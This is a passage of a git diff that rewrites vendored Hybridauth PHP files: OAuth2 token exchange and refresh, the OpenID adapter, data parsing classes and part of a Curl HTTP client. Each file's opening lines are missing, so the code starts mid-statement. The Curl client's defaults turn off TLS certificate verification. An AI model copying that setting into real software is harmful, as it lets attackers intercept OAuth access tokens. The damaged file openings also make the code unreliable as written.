\Hybridauth\Exception\AuthorizationDeniedException + */ + protected function authenticateCheckError() + { + $error = filter_input(INPUT_GET, 'error', FILTER_SANITIZE_SPECIAL_CHARS); + + if (!empty($error)) { + $error_description = filter_input(INPUT_GET, 'error_description', FILTER_SANITIZE_SPECIAL_CHARS); + $error_uri = filter_input(INPUT_GET, 'error_uri', FILTER_SANITIZE_SPECIAL_CHARS); + + $collated_error = sprintf('Provider returned an error: %s %s %s', $error, $error_description, $error_uri); + + if ($error == 'access_denied') { + throw new AuthorizationDeniedException($collated_error); + } + + throw new InvalidAuthorizationCodeException($collated_error); + } + } + + /** + * Initiate the authorization protocol + * + * Build Authorization URL for Authorization Request and redirect the user-agent to the + * Authorization Server. + */ + protected function authenticateBegin() + { + $authUrl = $this->getAuthorizeUrl(); + + $this->logger->debug(sprintf('%s::authenticateBegin(), redirecting user to:', get_class($this)), [$authUrl]); + + HttpClient\Util::redirect($authUrl); + } + + /** + * Finalize the authorization process + * + * @throws \Hybridauth\Exception\HttpClientFailureException + * @throws \Hybridauth\Exception\HttpRequestFailedException + * @throws InvalidAccessTokenException + * @throws InvalidAuthorizationStateException + */ + protected function authenticateFinish() + { + $this->logger->debug( + sprintf('%s::authenticateFinish(), callback url:', get_class($this)), + [HttpClient\Util::getCurrentUrl(true)] + ); + + $state = filter_input($_SERVER['REQUEST_METHOD'] === 'POST' ? INPUT_POST : INPUT_GET, 'state'); + $code = filter_input($_SERVER['REQUEST_METHOD'] === 'POST' ? INPUT_POST : INPUT_GET, 'code'); + + /** + * Authorization Request State + * + * RFC6749: state : RECOMMENDED. An opaque value used by the client to maintain + * state between the request and callback. The authorization server includes + * this value when redirecting the user-agent back to the client. + * + * http://tools.ietf.org/html/rfc6749#section-4.1.1 + */ + if ($this->supportRequestState + && $this->getStoredData('authorization_state') != $state + ) { + throw new InvalidAuthorizationStateException( + 'The authorization state [state=' . substr(htmlentities($state), 0, 100) . '] ' + . 'of this page is either invalid or has already been consumed.' + ); + } + + /** + * Authorization Request Code + * + * RFC6749: If the resource owner grants the access request, the authorization + * server issues an authorization code and delivers it to the client: + * + * http://tools.ietf.org/html/rfc6749#section-4.1.2 + */ + $response = $this->exchangeCodeForAccessToken($code); + + $this->validateAccessTokenExchange($response); + + $this->initialize(); + } + + /** + * Build Authorization URL for Authorization Request + * + * RFC6749: The client constructs the request URI by adding the following + * $parameters to the query component of the authorization endpoint URI: + * + * - response_type REQUIRED. Value MUST be set to "code". + * - client_id REQUIRED. + * - redirect_uri OPTIONAL. + * - scope OPTIONAL. + * - state RECOMMENDED. + * + * http://tools.ietf.org/html/rfc6749#section-4.1.1 + * + * Sub classes may redefine this method when necessary. + * + * @param array $parameters + * + * @return string Authorization URL + */ + protected function getAuthorizeUrl($parameters = []) + { + $this->AuthorizeUrlParameters = !empty($parameters) + ? $parameters + : array_replace( + (array)$this->AuthorizeUrlParameters, + (array)$this->config->get('authorize_url_parameters') + ); + + if ($this->supportRequestState) { + if (!isset($this->AuthorizeUrlParameters['state'])) { + $this->AuthorizeUrlParameters['state'] = 'HA-' . str_shuffle('ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890'); + } + + $this->storeData('authorization_state', $this->AuthorizeUrlParameters['state']); + } + + $queryParams = http_build_query($this->AuthorizeUrlParameters, '', '&', $this->AuthorizeUrlParametersEncType); + return $this->authorizeUrl . '?' . $queryParams; + } + + /** + * Access Token Request + * + * This method will exchange the received $code in loginFinish() with an Access Token. + * + * RFC6749: The client makes a request to the token endpoint by sending the + * following parameters using the "application/x-www-form-urlencoded" + * with a character encoding of UTF-8 in the HTTP request entity-body: + * + * - grant_type REQUIRED. Value MUST be set to "authorization_code". + * - code REQUIRED. The authorization code received from the authorization server. + * - redirect_uri REQUIRED. + * - client_id REQUIRED. + * + * http://tools.ietf.org/html/rfc6749#section-4.1.3 + * + * @param string $code + * + * @return string Raw Provider API response + * @throws \Hybridauth\Exception\HttpClientFailureException + * @throws \Hybridauth\Exception\HttpRequestFailedException + */ + protected function exchangeCodeForAccessToken($code) + { + $this->tokenExchangeParameters['code'] = $code; + + $response = $this->httpClient->request( + $this->accessTokenUrl, + $this->tokenExchangeMethod, + $this->tokenExchangeParameters, + $this->tokenExchangeHeaders + ); + + $this->validateApiResponse('Unable to exchange code for API access token'); + + return $response; + } + + /** + * Validate Access Token Response + * + * RFC6749: If the access token request is valid and authorized, the + * authorization server issues an access token and optional refresh token. + * If the request client authentication failed or is invalid, the authorization + * server returns an error response as described in Section 5.2. + * + * Example of a successful response: + * + * HTTP/1.1 200 OK + * Content-Type: application/json;charset=UTF-8 + * Cache-Control: no-store + * Pragma: no-cache + * + * { + * "access_token":"2YotnFZFEjr1zCsicMWpAA", + * "token_type":"example", + * "expires_in":3600, + * "refresh_token":"tGzv3JOkF0XG5Qx2TlKWIA", + * "example_parameter":"example_value" + * } + * + * http://tools.ietf.org/html/rfc6749#section-4.1.4 + * + * This method uses Data_Parser to attempt to decodes the raw $response (usually JSON) + * into a data collection. + * + * @param string $response + * + * @return \Hybridauth\Data\Collection + * @throws InvalidAccessTokenException + */ + protected function validateAccessTokenExchange($response) + { + $data = (new Data\Parser())->parse($response); + + $collection = new Data\Collection($data); + + if (!$collection->exists('access_token')) { + throw new InvalidAccessTokenException( + 'Provider returned no access_token: ' . htmlentities($response) + ); + } + + $this->storeData('access_token', $collection->get('access_token')); + $this->storeData('token_type', $collection->get('token_type')); + + if ($collection->get('refresh_token')) { + $this->storeData('refresh_token', $collection->get('refresh_token')); + } + + // calculate when the access token expire + if ($collection->exists('expires_in')) { + $expires_at = time() + (int)$collection->get('expires_in'); + + $this->storeData('expires_in', $collection->get('expires_in')); + $this->storeData('expires_at', $expires_at); + } + + $this->deleteStoredData('authorization_state'); + + $this->initialize(); + + return $collection; + } + + /** + * Refreshing an Access Token + * + * RFC6749: If the authorization server issued a refresh token to the + * client, the client makes a refresh request to the token endpoint by + * adding the following parameters ... in the HTTP request entity-body: + * + * - grant_type REQUIRED. Value MUST be set to "refresh_token". + * - refresh_token REQUIRED. The refresh token issued to the client. + * - scope OPTIONAL. + * + * http://tools.ietf.org/html/rfc6749#section-6 + * + * This method is similar to exchangeCodeForAccessToken(). The only + * difference is here we exchange refresh_token for a new access_token. + * + * @param array $parameters + * + * @return string|null Raw Provider API response, or null if we cannot refresh + * @throws \Hybridauth\Exception\HttpClientFailureException + * @throws \Hybridauth\Exception\HttpRequestFailedException + * @throws InvalidAccessTokenException + */ + public function refreshAccessToken($parameters = []) + { + $this->tokenRefreshParameters = !empty($parameters) + ? $parameters + : $this->tokenRefreshParameters; + + if (!$this->isRefreshTokenAvailable()) { + return null; + } + + $response = $this->httpClient->request( + $this->accessTokenUrl, + $this->tokenRefreshMethod, + $this->tokenRefreshParameters, + $this->tokenRefreshHeaders + ); + + $this->validateApiResponse('Unable to refresh the access token'); + + $this->validateRefreshAccessToken($response); + + return $response; + } + + /** + * Check whether access token has expired + * + * @param int|null $time + * @return bool|null + */ + public function hasAccessTokenExpired($time = null) + { + if ($time === null) { + $time = time(); + } + + $expires_at = $this->getStoredData('expires_at'); + if (!$expires_at) { + return null; + } + + return $expires_at <= $time; + } + + /** + * Validate Refresh Access Token Request + * + * RFC6749: If valid and authorized, the authorization server issues an + * access token as described in Section 5.1. If the request failed + * verification or is invalid, the authorization server returns an error + * response as described in Section 5.2. + * + * http://tools.ietf.org/html/rfc6749#section-6 + * http://tools.ietf.org/html/rfc6749#section-5.1 + * http://tools.ietf.org/html/rfc6749#section-5.2 + * + * This method simply use validateAccessTokenExchange(), however sub + * classes may redefine it when necessary. + * + * @param $response + * + * @return \Hybridauth\Data\Collection + * @throws InvalidAccessTokenException + */ + protected function validateRefreshAccessToken($response) + { + return $this->validateAccessTokenExchange($response); + } + + /** + * Send a signed request to provider API + * + * RFC6749: Accessing Protected Resources: The client accesses protected + * resources by presenting the access token to the resource server. The + * resource server MUST validate the access token and ensure that it has + * not expired and that its scope covers the requested resource. + * + * Note: Since the specifics of error responses is beyond the scope of + * RFC6749 and OAuth specifications, Hybridauth will consider any HTTP + * status code that is different than '200 OK' as an ERROR. + * + * http://tools.ietf.org/html/rfc6749#section-7 + * + * @param string $url + * @param string $method + * @param array $parameters + * @param array $headers + * @param bool $multipart + * + * @return mixed + * @throws \Hybridauth\Exception\HttpClientFailureException + * @throws \Hybridauth\Exception\HttpRequestFailedException + * @throws InvalidAccessTokenException + */ + public function apiRequest($url, $method = 'GET', $parameters = [], $headers = [], $multipart = false) + { + // refresh tokens if needed + $this->maintainToken(); + if ($this->hasAccessTokenExpired() === true) { + $this->refreshAccessToken(); + } + + if (strrpos($url, 'http://') !== 0 && strrpos($url, 'https://') !== 0) { + $url = rtrim($this->apiBaseUrl, '/') . '/' . ltrim($url, '/'); + } + + $parameters = array_replace($this->apiRequestParameters, (array)$parameters); + $headers = array_replace($this->apiRequestHeaders, (array)$headers); + + $response = $this->httpClient->request( + $url, + $method, // HTTP Request Method. Defaults to GET. + $parameters, // Request Parameters + $headers, // Request Headers + $multipart // Is request multipart + ); + + $this->validateApiResponse('Signed API request to ' . $url . ' has returned an error'); + + $response = (new Data\Parser())->parse($response); + + return $response; + } +} diff --git a/vendor/hybridauth/hybridauth/src/Adapter/OpenID.php b/vendor/hybridauth/hybridauth/src/Adapter/OpenID.php index 40079891c4..f1c0e9d0f6 100644 --- a/vendor/hybridauth/hybridauth/src/Adapter/OpenID.php +++ b/vendor/hybridauth/hybridauth/src/Adapter/OpenID.php @@ -1,283 +1,283 @@ -config->exists('openid_identifier')) { - $this->openidIdentifier = $this->config->get('openid_identifier'); - } - - if (empty($this->openidIdentifier)) { - throw new InvalidOpenidIdentifierException('OpenID adapter requires an openid_identifier.', 4); - } - - $this->setCallback($this->config->get('callback')); - $this->setApiEndpoints($this->config->get('endpoints')); - } - - /** - * {@inheritdoc} - */ - protected function initialize() - { - $hostPort = parse_url($this->callback, PHP_URL_PORT); - $hostUrl = parse_url($this->callback, PHP_URL_HOST); - - if ($hostPort) { - $hostUrl .= ':' . $hostPort; - } - - // @fixme: add proxy - $this->openIdClient = new LightOpenID($hostUrl, null); - } - - /** - * {@inheritdoc} - */ - public function authenticate() - { - $this->logger->info(sprintf('%s::authenticate()', get_class($this))); - - if ($this->isConnected()) { - return true; - } - - if (empty($_REQUEST['openid_mode'])) { - $this->authenticateBegin(); - } else { - return $this->authenticateFinish(); - } - - return null; - } - - /** - * {@inheritdoc} - */ - public function isConnected() - { - return (bool)$this->storage->get($this->providerId . '.user'); - } - - /** - * {@inheritdoc} - */ - public function disconnect() - { - $this->storage->delete($this->providerId . '.user'); - - return true; - } - - /** - * Initiate the authorization protocol - * - * Include and instantiate LightOpenID - */ - protected function authenticateBegin() - { - $this->openIdClient->identity = $this->openidIdentifier; - $this->openIdClient->returnUrl = $this->callback; - $this->openIdClient->required = [ - 'namePerson/first', - 'namePerson/last', - 'namePerson/friendly', - 'namePerson', - 'contact/email', - 'birthDate', - 'birthDate/birthDay', - 'birthDate/birthMonth', - 'birthDate/birthYear', - 'person/gender', - 'pref/language', - 'contact/postalCode/home', - 'contact/city/home', - 'contact/country/home', - - 'media/image/default', - ]; - - $authUrl = $this->openIdClient->authUrl(); - - $this->logger->debug(sprintf('%s::authenticateBegin(), redirecting user to:', get_class($this)), [$authUrl]); - - HttpClient\Util::redirect($authUrl); - } - - /** - * Finalize the authorization process. - * - * @throws AuthorizationDeniedException - * @throws UnexpectedApiResponseException - */ - protected function authenticateFinish() - { - $this->logger->debug( - sprintf('%s::authenticateFinish(), callback url:', get_class($this)), - [HttpClient\Util::getCurrentUrl(true)] - ); - - if ($this->openIdClient->mode == 'cancel') { - throw new AuthorizationDeniedException('User has cancelled the authentication.'); - } - - if (!$this->openIdClient->validate()) { - throw new UnexpectedApiResponseException('Invalid response received.'); - } - - $openidAttributes = $this->openIdClient->getAttributes(); - - if (!$this->openIdClient->identity) { - throw new UnexpectedApiResponseException('Provider returned an unexpected response.'); - } - - $userProfile = $this->fetchUserProfile($openidAttributes); - - /* with openid providers we only get user profiles once, so we store it */ - $this->storage->set($this->providerId . '.user', $userProfile); - } - - /** - * Fetch user profile from received openid attributes - * - * @param array $openidAttributes - * - * @return User\Profile - */ - protected function fetchUserProfile($openidAttributes) - { - $data = new Data\Collection($openidAttributes); - - $userProfile = new User\Profile(); - - $userProfile->identifier = $this->openIdClient->identity; - - $userProfile->firstName = $data->get('namePerson/first'); - $userProfile->lastName = $data->get('namePerson/last'); - $userProfile->email = $data->get('contact/email'); - $userProfile->language = $data->get('pref/language'); - $userProfile->country = $data->get('contact/country/home'); - $userProfile->zip = $data->get('contact/postalCode/home'); - $userProfile->gender = $data->get('person/gender'); - $userProfile->photoURL = $data->get('media/image/default'); - $userProfile->birthDay = $data->get('birthDate/birthDay'); - $userProfile->birthMonth = $data->get('birthDate/birthMonth'); - $userProfile->birthYear = $data->get('birthDate/birthDate'); - - $userProfile = $this->fetchUserGender($userProfile, $data->get('person/gender')); - - $userProfile = $this->fetchUserDisplayName($userProfile, $data); - - return $userProfile; - } - - /** - * Extract users display names - * - * @param User\Profile $userProfile - * @param Data\Collection $data - * - * @return User\Profile - */ - protected function fetchUserDisplayName(User\Profile $userProfile, Data\Collection $data) - { - $userProfile->displayName = $data->get('namePerson'); - - $userProfile->displayName = $userProfile->displayName - ? $userProfile->displayName - : $data->get('namePerson/friendly'); - - $userProfile->displayName = $userProfile->displayName - ? $userProfile->displayName - : trim($userProfile->firstName . ' ' . $userProfile->lastName); - - return $userProfile; - } - - /** - * Extract users gender - * - * @param User\Profile $userProfile - * @param string $gender - * - * @return User\Profile - */ - protected function fetchUserGender(User\Profile $userProfile, $gender) - { - $gender = strtolower($gender); - - if ('f' == $gender) { - $gender = 'female'; - } - - if ('m' == $gender) { - $gender = 'male'; - } - - $userProfile->gender = $gender; - - return $userProfile; - } - - /** - * OpenID only provide the user profile one. This method will attempt to retrieve the profile from storage. - */ - public function getUserProfile() - { - $userProfile = $this->storage->get($this->providerId . '.user'); - - if (!is_object($userProfile)) { - throw new UnexpectedApiResponseException('Provider returned an unexpected response.'); - } - - return $userProfile; - } -} +config->exists('openid_identifier')) { + $this->openidIdentifier = $this->config->get('openid_identifier'); + } + + if (empty($this->openidIdentifier)) { + throw new InvalidOpenidIdentifierException('OpenID adapter requires an openid_identifier.', 4); + } + + $this->setCallback($this->config->get('callback')); + $this->setApiEndpoints($this->config->get('endpoints')); + } + + /** + * {@inheritdoc} + */ + protected function initialize() + { + $hostPort = parse_url($this->callback, PHP_URL_PORT); + $hostUrl = parse_url($this->callback, PHP_URL_HOST); + + if ($hostPort) { + $hostUrl .= ':' . $hostPort; + } + + // @fixme: add proxy + $this->openIdClient = new LightOpenID($hostUrl, null); + } + + /** + * {@inheritdoc} + */ + public function authenticate() + { + $this->logger->info(sprintf('%s::authenticate()', get_class($this))); + + if ($this->isConnected()) { + return true; + } + + if (empty($_REQUEST['openid_mode'])) { + $this->authenticateBegin(); + } else { + return $this->authenticateFinish(); + } + + return null; + } + + /** + * {@inheritdoc} + */ + public function isConnected() + { + return (bool)$this->storage->get($this->providerId . '.user'); + } + + /** + * {@inheritdoc} + */ + public function disconnect() + { + $this->storage->delete($this->providerId . '.user'); + + return true; + } + + /** + * Initiate the authorization protocol + * + * Include and instantiate LightOpenID + */ + protected function authenticateBegin() + { + $this->openIdClient->identity = $this->openidIdentifier; + $this->openIdClient->returnUrl = $this->callback; + $this->openIdClient->required = [ + 'namePerson/first', + 'namePerson/last', + 'namePerson/friendly', + 'namePerson', + 'contact/email', + 'birthDate', + 'birthDate/birthDay', + 'birthDate/birthMonth', + 'birthDate/birthYear', + 'person/gender', + 'pref/language', + 'contact/postalCode/home', + 'contact/city/home', + 'contact/country/home', + + 'media/image/default', + ]; + + $authUrl = $this->openIdClient->authUrl(); + + $this->logger->debug(sprintf('%s::authenticateBegin(), redirecting user to:', get_class($this)), [$authUrl]); + + HttpClient\Util::redirect($authUrl); + } + + /** + * Finalize the authorization process. + * + * @throws AuthorizationDeniedException + * @throws UnexpectedApiResponseException + */ + protected function authenticateFinish() + { + $this->logger->debug( + sprintf('%s::authenticateFinish(), callback url:', get_class($this)), + [HttpClient\Util::getCurrentUrl(true)] + ); + + if ($this->openIdClient->mode == 'cancel') { + throw new AuthorizationDeniedException('User has cancelled the authentication.'); + } + + if (!$this->openIdClient->validate()) { + throw new UnexpectedApiResponseException('Invalid response received.'); + } + + $openidAttributes = $this->openIdClient->getAttributes(); + + if (!$this->openIdClient->identity) { + throw new UnexpectedApiResponseException('Provider returned an unexpected response.'); + } + + $userProfile = $this->fetchUserProfile($openidAttributes); + + /* with openid providers we only get user profiles once, so we store it */ + $this->storage->set($this->providerId . '.user', $userProfile); + } + + /** + * Fetch user profile from received openid attributes + * + * @param array $openidAttributes + * + * @return User\Profile + */ + protected function fetchUserProfile($openidAttributes) + { + $data = new Data\Collection($openidAttributes); + + $userProfile = new User\Profile(); + + $userProfile->identifier = $this->openIdClient->identity; + + $userProfile->firstName = $data->get('namePerson/first'); + $userProfile->lastName = $data->get('namePerson/last'); + $userProfile->email = $data->get('contact/email'); + $userProfile->language = $data->get('pref/language'); + $userProfile->country = $data->get('contact/country/home'); + $userProfile->zip = $data->get('contact/postalCode/home'); + $userProfile->gender = $data->get('person/gender'); + $userProfile->photoURL = $data->get('media/image/default'); + $userProfile->birthDay = $data->get('birthDate/birthDay'); + $userProfile->birthMonth = $data->get('birthDate/birthMonth'); + $userProfile->birthYear = $data->get('birthDate/birthDate'); + + $userProfile = $this->fetchUserGender($userProfile, $data->get('person/gender')); + + $userProfile = $this->fetchUserDisplayName($userProfile, $data); + + return $userProfile; + } + + /** + * Extract users display names + * + * @param User\Profile $userProfile + * @param Data\Collection $data + * + * @return User\Profile + */ + protected function fetchUserDisplayName(User\Profile $userProfile, Data\Collection $data) + { + $userProfile->displayName = $data->get('namePerson'); + + $userProfile->displayName = $userProfile->displayName + ? $userProfile->displayName + : $data->get('namePerson/friendly'); + + $userProfile->displayName = $userProfile->displayName + ? $userProfile->displayName + : trim($userProfile->firstName . ' ' . $userProfile->lastName); + + return $userProfile; + } + + /** + * Extract users gender + * + * @param User\Profile $userProfile + * @param string $gender + * + * @return User\Profile + */ + protected function fetchUserGender(User\Profile $userProfile, $gender) + { + $gender = strtolower($gender); + + if ('f' == $gender) { + $gender = 'female'; + } + + if ('m' == $gender) { + $gender = 'male'; + } + + $userProfile->gender = $gender; + + return $userProfile; + } + + /** + * OpenID only provide the user profile one. This method will attempt to retrieve the profile from storage. + */ + public function getUserProfile() + { + $userProfile = $this->storage->get($this->providerId . '.user'); + + if (!is_object($userProfile)) { + throw new UnexpectedApiResponseException('Provider returned an unexpected response.'); + } + + return $userProfile; + } +} diff --git a/vendor/hybridauth/hybridauth/src/Data/Collection.php b/vendor/hybridauth/hybridauth/src/Data/Collection.php index a8903d486f..2a46fc3d6f 100644 --- a/vendor/hybridauth/hybridauth/src/Data/Collection.php +++ b/vendor/hybridauth/hybridauth/src/Data/Collection.php @@ -1,160 +1,160 @@ -collection = new \stdClass(); - - if (is_object($data)) { - $this->collection = $data; - } - - $this->collection = (object)$data; - } - - /** - * Retrieves the whole collection as array - * - * @return mixed - */ - public function toArray() - { - return (array)$this->collection; - } - - /** - * Retrieves an item - * - * @param $property - * - * @return mixed - */ - public function get($property) - { - if ($this->exists($property)) { - return $this->collection->$property; - } - - return null; - } - - /** - * Add or update an item - * - * @param $property - * @param mixed $value - */ - public function set($property, $value) - { - if ($property) { - $this->collection->$property = $value; - } - } - - /** - * .. until I come with a better name.. - * - * @param $property - * - * @return Collection - */ - public function filter($property) - { - if ($this->exists($property)) { - $data = $this->get($property); - - if (!is_a($data, 'Collection')) { - $data = new Collection($data); - } - - return $data; - } - - return new Collection([]); - } - - /** - * Checks whether an item within the collection - * - * @param $property - * - * @return bool - */ - public function exists($property) - { - return property_exists($this->collection, $property); - } - - /** - * Finds whether the collection is empty - * - * @return bool - */ - public function isEmpty() - { - return !(bool)$this->count(); - } - - /** - * Count all items in collection - * - * @return int - */ - public function count() - { - return count($this->properties()); - } - - /** - * Returns all items properties names - * - * @return array - */ - public function properties() - { - $properties = []; - - foreach ($this->collection as $key => $value) { - $properties[] = $key; - } - - return $properties; - } - - /** - * Returns all items values - * - * @return array - */ - public function values() - { - $values = []; - - foreach ($this->collection as $value) { - $values[] = $value; - } - - return $values; - } -} +collection = new \stdClass(); + + if (is_object($data)) { + $this->collection = $data; + } + + $this->collection = (object)$data; + } + + /** + * Retrieves the whole collection as array + * + * @return mixed + */ + public function toArray() + { + return (array)$this->collection; + } + + /** + * Retrieves an item + * + * @param $property + * + * @return mixed + */ + public function get($property) + { + if ($this->exists($property)) { + return $this->collection->$property; + } + + return null; + } + + /** + * Add or update an item + * + * @param $property + * @param mixed $value + */ + public function set($property, $value) + { + if ($property) { + $this->collection->$property = $value; + } + } + + /** + * .. until I come with a better name.. + * + * @param $property + * + * @return Collection + */ + public function filter($property) + { + if ($this->exists($property)) { + $data = $this->get($property); + + if (!is_a($data, 'Collection')) { + $data = new Collection($data); + } + + return $data; + } + + return new Collection([]); + } + + /** + * Checks whether an item within the collection + * + * @param $property + * + * @return bool + */ + public function exists($property) + { + return property_exists($this->collection, $property); + } + + /** + * Finds whether the collection is empty + * + * @return bool + */ + public function isEmpty() + { + return !(bool)$this->count(); + } + + /** + * Count all items in collection + * + * @return int + */ + public function count() + { + return count($this->properties()); + } + + /** + * Returns all items properties names + * + * @return array + */ + public function properties() + { + $properties = []; + + foreach ($this->collection as $key => $value) { + $properties[] = $key; + } + + return $properties; + } + + /** + * Returns all items values + * + * @return array + */ + public function values() + { + $values = []; + + foreach ($this->collection as $value) { + $values[] = $value; + } + + return $values; + } +} diff --git a/vendor/hybridauth/hybridauth/src/Data/Parser.php b/vendor/hybridauth/hybridauth/src/Data/Parser.php index c96051371b..4259780b87 100644 --- a/vendor/hybridauth/hybridauth/src/Data/Parser.php +++ b/vendor/hybridauth/hybridauth/src/Data/Parser.php @@ -1,119 +1,119 @@ -parseJson($raw); - - if (!$data) { - $data = $this->parseXml($raw); - - if (!$data) { - $data = $this->parseQueryString($raw); - } - } - - return $data; - } - - /** - * Decodes a JSON string - * - * @param $result - * - * @return mixed - */ - public function parseJson($result) - { - return json_decode($result); - } - - /** - * Decodes a XML string - * - * @param $result - * - * @return mixed - */ - public function parseXml($result) - { - libxml_use_internal_errors(true); - - $result = preg_replace('/([<\/])([a-z0-9-]+):/i', '$1', $result); - $xml = simplexml_load_string($result); - - libxml_use_internal_errors(false); - - if (!$xml) { - return []; - } - - $arr = json_decode(json_encode((array)$xml), true); - $arr = array($xml->getName() => $arr); - - return $arr; - } - - /** - * Parses a string into variables - * - * @param $result - * - * @return \StdClass - */ - public function parseQueryString($result) - { - parse_str($result, $output); - - if (!is_array($output)) { - return $result; - } - - $result = new \StdClass(); - - foreach ($output as $k => $v) { - $result->$k = $v; - } - - return $result; - } - - /** - * needs to be improved - * - * @param $birthday - * @param $seperator - * - * @return array - */ - public function parseBirthday($birthday, $seperator) - { - $birthday = date_parse($birthday); - - return [$birthday['year'], $birthday['month'], $birthday['day']]; - } -} +parseJson($raw); + + if (!$data) { + $data = $this->parseXml($raw); + + if (!$data) { + $data = $this->parseQueryString($raw); + } + } + + return $data; + } + + /** + * Decodes a JSON string + * + * @param $result + * + * @return mixed + */ + public function parseJson($result) + { + return json_decode($result); + } + + /** + * Decodes a XML string + * + * @param $result + * + * @return mixed + */ + public function parseXml($result) + { + libxml_use_internal_errors(true); + + $result = preg_replace('/([<\/])([a-z0-9-]+):/i', '$1', $result); + $xml = simplexml_load_string($result); + + libxml_use_internal_errors(false); + + if (!$xml) { + return []; + } + + $arr = json_decode(json_encode((array)$xml), true); + $arr = array($xml->getName() => $arr); + + return $arr; + } + + /** + * Parses a string into variables + * + * @param $result + * + * @return \StdClass + */ + public function parseQueryString($result) + { + parse_str($result, $output); + + if (!is_array($output)) { + return $result; + } + + $result = new \StdClass(); + + foreach ($output as $k => $v) { + $result->$k = $v; + } + + return $result; + } + + /** + * needs to be improved + * + * @param $birthday + * @param $seperator + * + * @return array + */ + public function parseBirthday($birthday, $seperator) + { + $birthday = date_parse($birthday); + + return [$birthday['year'], $birthday['month'], $birthday['day']]; + } +} diff --git a/vendor/hybridauth/hybridauth/src/Exception/ExceptionInterface.php b/vendor/hybridauth/hybridauth/src/Exception/ExceptionInterface.php index 78df55e475..bd03c2b8d0 100644 --- a/vendor/hybridauth/hybridauth/src/Exception/ExceptionInterface.php +++ b/vendor/hybridauth/hybridauth/src/Exception/ExceptionInterface.php @@ -1,36 +1,36 @@ - 30, - CURLOPT_CONNECTTIMEOUT => 30, - CURLOPT_SSL_VERIFYPEER => false, - CURLOPT_SSL_VERIFYHOST => false, - CURLOPT_RETURNTRANSFER => true, - CURLOPT_FOLLOWLOCATION => true, - CURLOPT_MAXREDIRS => 5, - CURLINFO_HEADER_OUT => true, - CURLOPT_ENCODING => 'identity', - // phpcs:ignore - CURLOPT_USERAGENT => 'Hybridauth, PHP Social Authentication Library (https://github.com/hybridauth/hybridauth)', - ]; - - /** - * Method request() arguments - * - * This is used for debugging. - * - * @var array - */ - protected $requestArguments = []; - - /** - * Default request headers - * - * @var array - */ - protected $requestHeader = [ - 'Accept' => '*/*', - 'Cache-Control' => 'max-age=0', - 'Connection' => 'keep-alive', - 'Expect' => '', - 'Pragma' => '', - ]; - - /** - * Raw response returned by server - * - * @var string - */ - protected $responseBody = ''; - - /** - * Headers returned in the response - * - * @var array - */ - protected $responseHeader = []; - - /** - * Response HTTP status code - * - * @var int - */ - protected $responseHttpCode = 0; - - /** - * Last curl error number - * - * @var mixed - */ - protected $responseClientError = null; - - /** - * Information about the last transfer - * - * @var mixed - */ - protected $responseClientInfo = []; - - /** - * Hybridauth logger instance - * - * @var object - */ - protected $logger = null; - - /** - * {@inheritdoc} - */ - public function request($uri, $method = 'GET', $parameters = [], $headers = [], $multipart = false) - { - $this->requestHeader = array_replace($this->requestHeader, (array)$headers); - - $this->requestArguments = [ - 'uri' => $uri, - 'method' => $method, - 'parameters' => $parameters, - 'headers' => $this->requestHeader, - ]; - - $curl = curl_init(); - - switch ($method) { - case 'GET': - case 'DELETE': - unset($this->curlOptions[CURLOPT_POST]); - unset($this->curlOptions[CURLOPT_POSTFIELDS]); - - $uri = $uri . (strpos($uri, '?') ? '&' : '?') . http_build_query($parameters); - if ($method === 'DELETE') { - $this->curlOptions[CURLOPT_CUSTOMREQUEST] = 'DELETE'; - } - break; - case 'PUT': - case 'POST': - case 'PATCH': - $body_content = $multipart ? $parameters : http_build_query($parameters); - if (isset($this->requestHeader['Content-Type']) - && $this->requestHeader['Content-Type'] == 'application/json' - ) { - $body_content = json_encode($parameters); - } - - if ($method === 'POST') { - $this->curlOptions[CURLOPT_POST] = true; - } else { - $this->curlOptions[CURLOPT_CUSTOMREQUEST] = $method; - } - $this->curlOptions[CURLOPT_POSTFIELDS] = $body_content; - break; - } - - $this->curlOptions[CURLOPT_URL] = $uri; - $this->curlOptions[CURLOPT_HTTPHEADER] = $this->prepareRequestHeaders(); - $this->curlOptions[CURLOPT_HEADERFUNCTION] = [$this, 'fetchResponseHeader']; - - foreach ($this->curlOptions as $opt => $value) { - curl_setopt($curl, $opt, $value); - } - - $response = curl_exec($curl); - - $this->responseBody = $response; - $this->responseHttpCode = curl_getinfo($curl, CURLINFO_HTTP_CODE); - $this->responseClientError = curl_error($curl); - $this->responseClientInfo = curl_getinfo($curl); - - if ($this->logger) { - // phpcs:ignore - $this->logger->debug(sprintf('%s::request( %s, %s ), response:', get_class($this), $uri, $method), $this->getResponse()); - - if (false === $response) { - // phpcs:ignore - $this->logger->error(sprintf('%s::request( %s, %s ), error:', get_class($this), $uri, $method), [$this->responseClientError]); - } - } - - curl_close($curl); - - return $this->responseBody; - } - - /** - * Get response details - * - * @return array Map structure of details - */ - public function getResponse() - { - $curlOptions = $this->curlOptions; - - $curlOptions[CURLOPT_HEADERFUNCTION] = '*omitted'; - - return [ - 'request' => $this->getRequestArguments(), - 'response' => [ - 'code' => $this->getResponseHttpCode(), - 'headers' => $this->getResponseHeader(), - 'body' => $this->getResponseBody(), - ], - 'client' => [ - 'error' => $this->getResponseClientError(), - 'info' => $this->getResponseClientInfo(), - 'opts' => $curlOptions, - ], - ]; - } - - /** - * Reset curl options - * - * @param array $curlOptions - */ - public function setCurlOptions($curlOptions) - { - foreach ($curlOptions as $opt => $value) { - $this->curlOptions[$opt] = $value; - } - } - - /** - * Set logger instance - * - * @param object $logger - */ - public function setLogger($logger) - { - $this->logger = $logger; - } - - /** - * {@inheritdoc} - */ - public function getResponseBody() - { - return $this->responseBody; - } - - /** - * {@inheritdoc} - */ - public function getResponseHeader() - { - return $this->responseHeader; - } - - /** - * {@inheritdoc} - */ - public function getResponseHttpCode() - { - return $this->responseHttpCode; - } - - /** - * {@inheritdoc} - */ - public function getResponseClientError() - { - return $this->responseClientError; - } - - /** - * @return array - */ - protected function getResponseClientInfo() - { - return $this->responseClientInfo; - } - - /** - * Returns method request() arguments - * - * This is used for debugging. - * - * @return array - */ - protected function getRequestArguments() - { - return $this->requestArguments; - } - - /** - * Fetch server response headers - * - * @param mixed $curl - * @param string $header - * - * @return int - */ - protected function fetchResponseHeader($curl, $header) - { - $pos = strpos($header, ':'); - - if (!empty($pos)) { - $key = str_replace('-', '_', strtolower(substr($header, 0, $pos))); - - $value = trim(substr($header, $pos + 2)); - - $this->responseHeader[$key] = $value; - } - - return strlen($header); - } - - /** - * Convert request headers to the expect curl format - * - * @return array - */ - protected function prepareRequestHeaders() - { - $headers = []; - - foreach 